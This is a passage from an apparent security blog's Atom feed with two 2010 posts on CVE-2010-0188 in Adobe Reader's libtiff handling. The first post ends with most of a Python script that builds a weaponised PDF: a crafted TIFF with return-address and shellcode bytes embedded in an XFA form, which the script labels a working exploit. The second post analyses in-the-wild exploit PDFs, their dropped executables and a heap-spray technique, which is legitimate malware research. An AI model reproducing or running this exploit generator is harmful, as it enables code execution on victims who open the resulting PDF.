"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"&lt;br /&gt;tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"&lt;br /&gt;tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"&lt;br /&gt;tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"&lt;br /&gt;tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"&lt;br /&gt;tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"&lt;br /&gt;tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"&lt;br /&gt;tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"&lt;br /&gt;tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"&lt;br /&gt;tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"&lt;br /&gt;tiff += "\x00\x07"&lt;br /&gt;return tiff&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def gen_xml(self):&lt;br /&gt;xml= '''&amp;lt;?xml version="1.0" encoding="UTF-8" ?&amp;gt;&lt;br /&gt;&amp;lt;xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"&amp;gt;&lt;br /&gt;&amp;lt;config xmlns="http://www.xfa.org/schema/xci/1.0/"&amp;gt;&lt;br /&gt;&amp;lt;present&amp;gt;&lt;br /&gt;&amp;lt;pdf&amp;gt;&lt;br /&gt;&amp;lt;version&amp;gt;1.65&amp;lt;/version&amp;gt;&lt;br /&gt;&amp;lt;interactive&amp;gt;1&amp;lt;/interactive&amp;gt;&lt;br /&gt;&amp;lt;linearized&amp;gt;1&amp;lt;/linearized&amp;gt;&lt;br /&gt;&amp;lt;/pdf&amp;gt;&lt;br /&gt;&amp;lt;xdp&amp;gt;&lt;br /&gt;&amp;lt;packets&amp;gt;*&amp;lt;/packets&amp;gt;&lt;br /&gt;&amp;lt;/xdp&amp;gt;&lt;br /&gt;&amp;lt;destination&amp;gt;pdf&amp;lt;/destination&amp;gt;&lt;br /&gt;&amp;lt;/present&amp;gt;&lt;br /&gt;&amp;lt;/config&amp;gt;&lt;br /&gt;&amp;lt;template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/"&amp;gt;&lt;br /&gt;&amp;lt;subform name="topmostSubform" layout="tb" locale="en_US"&amp;gt;&lt;br /&gt;&amp;lt;pageSet&amp;gt;&lt;br /&gt;&amp;lt;pageArea id="PageArea1" name="PageArea1"&amp;gt;&lt;br /&gt;&amp;lt;contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" /&amp;gt;&lt;br /&gt;&amp;lt;medium short="612pt" long="792pt" stock="custom" /&amp;gt;&lt;br /&gt;&amp;lt;/pageArea&amp;gt;&lt;br /&gt;&amp;lt;/pageSet&amp;gt;&lt;br /&gt;&amp;lt;subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt"&amp;gt;&lt;br /&gt;&amp;lt;break before="pageArea" beforeTarget="#PageArea1" /&amp;gt;&lt;br /&gt;&amp;lt;bind match="none" /&amp;gt;&lt;br /&gt;&amp;lt;field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm"&amp;gt;&lt;br /&gt;&amp;lt;ui&amp;gt;&lt;br /&gt;&amp;lt;imageEdit /&amp;gt;&lt;br /&gt;&amp;lt;/ui&amp;gt;&lt;br /&gt;&amp;lt;/field&amp;gt;&lt;br /&gt;&amp;lt;?templateDesigner expand 1?&amp;gt;&lt;br /&gt;&amp;lt;/subform&amp;gt;&lt;br /&gt;&amp;lt;?templateDesigner expand 1?&amp;gt;&lt;br /&gt;&amp;lt;/subform&amp;gt;&lt;br /&gt;&amp;lt;?templateDesigner FormTargetVersion 24?&amp;gt;&lt;br /&gt;&amp;lt;?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?&amp;gt;&lt;br /&gt;&amp;lt;?templateDesigner Zoom 94?&amp;gt;&lt;br /&gt;&amp;lt;/template&amp;gt;&lt;br /&gt;&amp;lt;xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"&amp;gt;&lt;br /&gt;&amp;lt;xfa:data&amp;gt;&lt;br /&gt;&amp;lt;topmostSubform&amp;gt;&lt;br /&gt;&amp;lt;ImageField1 xfa:contentType="image/tif" href=""&amp;gt;'''+self.tiff64 +'''&amp;lt;/ImageField1&amp;gt;&lt;br /&gt;&amp;lt;/topmostSubform&amp;gt;&lt;br /&gt;&amp;lt;/xfa:data&amp;gt;&lt;br /&gt;&amp;lt;/xfa:datasets&amp;gt;&lt;br /&gt;&amp;lt;PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" /&amp;gt;&lt;br /&gt;&amp;lt;form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/"&amp;gt;&lt;br /&gt;&amp;lt;subform name="topmostSubform"&amp;gt;&lt;br /&gt;&amp;lt;instanceManager name="_Page1" /&amp;gt;&lt;br /&gt;&amp;lt;subform name="Page1"&amp;gt;&lt;br /&gt;&amp;lt;field name="ImageField1" /&amp;gt;&lt;br /&gt;&amp;lt;/subform&amp;gt;&lt;br /&gt;&amp;lt;pageSet&amp;gt;&lt;br /&gt;&amp;lt;pageArea name="PageArea1" /&amp;gt;&lt;br /&gt;&amp;lt;/pageSet&amp;gt;&lt;br /&gt;&amp;lt;/subform&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/xdp:xdp&amp;gt;&lt;br /&gt;&lt;br /&gt;'''&lt;br /&gt;return xml&lt;br /&gt;&lt;br /&gt;def gen_pdf(self):&lt;br /&gt;xml = zlib.compress(self.gen_xml())&lt;br /&gt;pdf='''%PDF-1.6&lt;br /&gt;1 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile&amp;gt;&amp;gt;&lt;br /&gt;stream&lt;br /&gt;''' + xml+'''&lt;br /&gt;endstream&lt;br /&gt;endobj&lt;br /&gt;2 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/V () /Kids [3 0 R] /T (topmostSubform[0]) &amp;gt;&amp;gt;&lt;br /&gt;endobj&lt;br /&gt;3 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/Parent 2 0 R /Kids [4 0 R] /T (Page1[0])&amp;gt;&amp;gt;&lt;br /&gt;endobj&lt;br /&gt;4 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/MK &amp;lt;&amp;lt;/IF &amp;lt;&amp;lt;/A [0.0 1.0]&amp;gt;&amp;gt;/TP 1&amp;gt;&amp;gt;/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]&amp;gt;&amp;gt;&lt;br /&gt;endobj&lt;br /&gt;5 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources &amp;lt;&amp;lt;/XObject &amp;gt;&amp;gt;/Parent 6 0 R/Type /Page/PieceInfo null&amp;gt;&amp;gt;&lt;br /&gt;endobj&lt;br /&gt;6 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/Kids [5 0 R]/Type /Pages/Count 1&amp;gt;&amp;gt;&lt;br /&gt;endobj&lt;br /&gt;7 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/PageMode /UseAttachments/Pages 6 0 R/MarkInfo &amp;lt;&amp;lt;/Marked true&amp;gt;&amp;gt;/Lang (en-us)/AcroForm 8 0 R/Type /Catalog&amp;gt;&amp;gt;&lt;br /&gt;endobj&lt;br /&gt;8 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]&amp;gt;&amp;gt;&lt;br /&gt;endobj xref&lt;br /&gt;trailer&lt;br /&gt;&amp;lt;&amp;lt;/Root 7 0 R/Size 9&amp;gt;&amp;gt;&lt;br /&gt;startxref&lt;br /&gt;14765&lt;br /&gt;%%EOF'''&lt;br /&gt;return pdf&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if __name__=="__main__":&lt;br /&gt;print __doc__&lt;br /&gt;if len(sys.argv) != 2:&lt;br /&gt;print "Usage: %s [output.pdf]" % sys.argv[0]&lt;br /&gt;&lt;br /&gt;print "Creating Exploit to %s\n"% sys.argv[1]&lt;br /&gt;exploit=CVE20100188Exploit(buf)&lt;br /&gt;f = open(sys.argv[1],mode='wb')&lt;br /&gt;f.write(exploit.gen_pdf())&lt;br /&gt;f.close()&lt;br /&gt;print "[+] done !"&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------------------&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-5152935090427259234?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/5152935090427259234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/5152935090427259234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/5152935090427259234'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' title='CVE-2010-0188  Adobe Working Exploit'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-1072180808634760970</id><published>2010-03-12T14:20:00.021+02:00</published><updated>2010-03-14T07:15:22.971+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2010-0188'/><title type='text'>CVE-2010-0188 - Adobe Pdf  libtiff  exploits analysis</title><content type='html'>Please see some of my research on &lt;a href="http://contagiodump.blogspot.com/2010/03/mar-9-cve-2010-0188-pdf-formal.html"&gt;Mila's Contagio Dump blog&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Part 1. &lt;a href="http://contagiodump.blogspot.com/2010/03/mar-9-cve-2010-0188-pdf-formal.html"&gt;invitation.pdf&lt;/a&gt;&lt;br /&gt;Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows XP (SP2, SP3) but didn't work on Windows Vista and Windows 7.&lt;br /&gt;&lt;br /&gt;This pdf can be easily unpacked with &lt;a href="http://www.accesspdf.com/pdftk/"&gt;pdftk&lt;/a&gt; or &lt;a href="http://blog.didierstevens.com/programs/pdf-tools/"&gt;pdf-parser.py&lt;/a&gt;. It is using CVE-2006-3459 libtiff vulnerability, let look at tiff files.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_3I4Jto3gdK0/S5pgcledg-I/AAAAAAAAAEg/JOmlZsxJ9Ls/s1600-h/invitations-ret.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5447772743470515170" src="http://4.bp.blogspot.com/_3I4Jto3gdK0/S5pgcledg-I/AAAAAAAAAEg/JOmlZsxJ9Ls/s320/invitations-ret.JPG" style="cursor: pointer; display: block; height: 315px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At the end of the file we see integer overflow, you can also see unnecessary data referencing to like /bin/sh /bin/id , this is linux shellcode to execute /bin/id, i think it is because they used &lt;a href="http://downloads.securityfocus.com/vulnerabilities/exploits/19283.c"&gt;the following exploit from Security Focus&lt;/a&gt;, and did not change the shellcode.&lt;br /&gt;&lt;br /&gt;However, the main shellcode is on the top of the file:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_3I4Jto3gdK0/S5peKKS00cI/AAAAAAAAAEA/E2RM6quIIfU/s1600-h/invitations-shellcode.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5447770227913052610" src="http://1.bp.blogspot.com/_3I4Jto3gdK0/S5peKKS00cI/AAAAAAAAAEA/E2RM6quIIfU/s320/invitations-shellcode.JPG" style="cursor: pointer; display: block; height: 240px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I disassembled the shellcode and it's searching in memory for 0x4656434b04068919,&lt;br /&gt;and then for second 0x4b614b6106118119&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_3I4Jto3gdK0/S5pfJaI6K3I/AAAAAAAAAEI/ZOblR9Cp7fw/s1600-h/shellcode-invitation.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5447771314498186098" src="http://4.bp.blogspot.com/_3I4Jto3gdK0/S5pfJaI6K3I/AAAAAAAAAEI/ZOblR9Cp7fw/s320/shellcode-invitation.JPG" style="cursor: pointer; display: block; height: 262px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The xored file is located between these dwords. The shellcode spawns &lt;span style="font-weight: bold;"&gt;c:\adobe_update.exe&lt;/span&gt; (10608 bytes) , &lt;span style="font-weight: bold;"&gt;c:\data.exe &lt;/span&gt;(32768 bytes), &lt;span style="font-weight: bold;"&gt;c:\data.bin&lt;/span&gt;(91756 bytes) - this is a legitimate pdf file.&lt;br /&gt;&lt;br /&gt;Decompiled shellcode is available &lt;a href="http://www.sendspace.com/file/ue5e15"&gt;here&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;The dexored embeded data looks like this:&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_3I4Jto3gdK0/S5p70v10PXI/AAAAAAAAAEo/PsDb3_rBozQ/s1600-h/embeded.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5447802845383638386" src="http://3.bp.blogspot.com/_3I4Jto3gdK0/S5p70v10PXI/AAAAAAAAAEo/PsDb3_rBozQ/s320/embeded.JPG" style="cursor: pointer; display: block; height: 212px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;In the beginning of there file there are three dwords, in which the size of generated files is located, followed by the three files together&lt;span style="font-weight: bold;"&gt;: adobe_updater.exe&lt;/span&gt; - this file executess &lt;span style="font-weight: bold;"&gt;c:\data.exe &lt;/span&gt;(32768 bytes), &lt;span style="font-weight: bold;"&gt;c:\data.bin&lt;/span&gt;(91756 bytes) and self deletes after that. ( &lt;a href="http://www.virustotal.com/analisis/c3a909278ce0e58f5afe6c14b5198413e0b0ebe00c7b880f71c8543d46f7fc18-1268418368"&gt;Virustotal scan result&lt;/a&gt; )&lt;br /&gt;&lt;br /&gt;Part 2.&lt;a href="http://contagiodump.blogspot.com/2010/03/mar-10-cve-2010-0188-pdf-from.html"&gt; Another PDF for 8.x&lt;/a&gt;&lt;br /&gt;This exploit works on Adobe Reader 8.1.2, posibly on all 8.x.&lt;br /&gt;It used ret code 0x0c0c0c0c, and heap spray technique to execute shellcode&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_3I4Jto3gdK0/S5pgGtgGosI/AAAAAAAAAEQ/8iSPfENXkRE/s1600-h/europe-ret.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5447772367667765954" src="http://1.bp.blogspot.com/_3I4Jto3gdK0/S5pgGtgGosI/AAAAAAAAAEQ/8iSPfENXkRE/s320/europe-ret.JPG" style="cursor: pointer; display: block; height: 150px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;pre style="font-family: inherit;" wrap=""&gt;See below deobfuscated javascript for heap spray:&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_3I4Jto3gdK0/S5pgP7a_SaI/AAAAAAAAAEY/6OXgSOx0aSc/s1600-h/europe-heapspray.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5447772526023231906" src="http://3.bp.blogspot.com/_3I4Jto3gdK0/S5pgP7a_SaI/AAAAAAAAAEY/6OXgSOx0aSc/s320/europe-heapspray.JPG" style="cursor: pointer; display: block; height: 214px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-1072180808634760970?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/1072180808634760970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2010/03/cve-2010-0188-adobe-pdf-libtiff-remote.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/1072180808634760970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/1072180808634760970'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2010/03/cve-2010-0188-adobe-pdf-libtiff-remote.html' title='CVE-2010-0188 - Adobe Pdf  libtiff  exploits analysis'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_3I4Jto3gdK0/S5pgcledg-I/AAAAAAAAAEg/JOmlZsxJ9Ls/s72-c/invitations-ret.JPG' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
